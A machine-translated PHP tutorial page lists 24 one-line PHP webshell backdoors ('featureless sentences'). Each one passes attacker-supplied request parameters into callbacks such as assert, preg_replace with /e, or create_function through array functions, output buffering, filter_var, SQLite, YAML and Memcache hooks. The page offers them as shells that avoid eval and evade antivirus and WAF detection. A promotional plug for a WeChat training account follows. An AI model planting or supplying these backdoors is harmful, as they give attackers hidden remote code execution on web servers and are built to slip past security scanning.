Home >Backend Development >PHP Tutorial >Share some featureless PHP sentences

Share some featureless PHP sentences

WBOY
WBOYOriginal
2016-07-25 08:46:531366browse
Share some featureless PHP sentences

Share some words that don’t require dynamic functions, don’t use eval, don’t contain sensitive functions, and don’t require killing or interception. (A few sentences require php5.4.8+, or sqlite/pdo/yaml/memcached extension, etc.)

Principle: http://www.toceanedu.com/shareMethod/639.jhtml
01
$e =$_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);
02
$e =$_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);
03
$e =$_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, $e);
04
$e =$_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
05
$arr =new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
06
$arr =new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
07
$e =$_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
08
$e =$_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
09
$e =$_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
10
$e =$_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
11
mb_ereg_replace('.*',$_REQUEST['pass'], '', 'e');
12
echopreg_filter('|. *|e', $_REQUEST['pass'], '');
13
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
14
$e =$_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
15
$e =$_REQUEST['e'];
declare(ticks=1);
register_tick_function($e, $_REQUEST['pass']);
16
filter_var($_REQUEST['pass'],FILTER_CALLBACK, array('options' => 'assert'));
17
filter_var_array(array('test'=> $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK,'options' => 'assert')));
18
$e =$_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
19
$e =$_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();
20
$str =urlencode($_REQUEST['pass']);
$yaml = << greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}"=> 'preg_replace'));
21
$mem =new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE,create_function('$a,$b,$c,$d,$e', 'return assert( $a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);
22
preg_replace_callback('/.+/i',create_function('$arr', 'return assert($arr[0 ]);'), $_REQUEST['pass']);
23
mb_ereg_replace_callback('.+',create_function('$arr', 'return assert($arr[0]);'), $_REQUEST ['pass']);
24
$iterator= new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)),create_function('$a', 'assert($a);') );
foreach ($iterator as $item) {echo $item;}
If you encounter any technical problems that are not solved in time during the learning process, we recommend a good WeChat public account: [Tuosheng Technology] will have professional technical personnel Solved for you. [Tuosheng Technology] focuses on sharing the most comprehensive video learning materials and learning experiences on programming development. At present, teaching videos for Java, Android, UID, PHP, iOS, etc. have been compiled,



Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn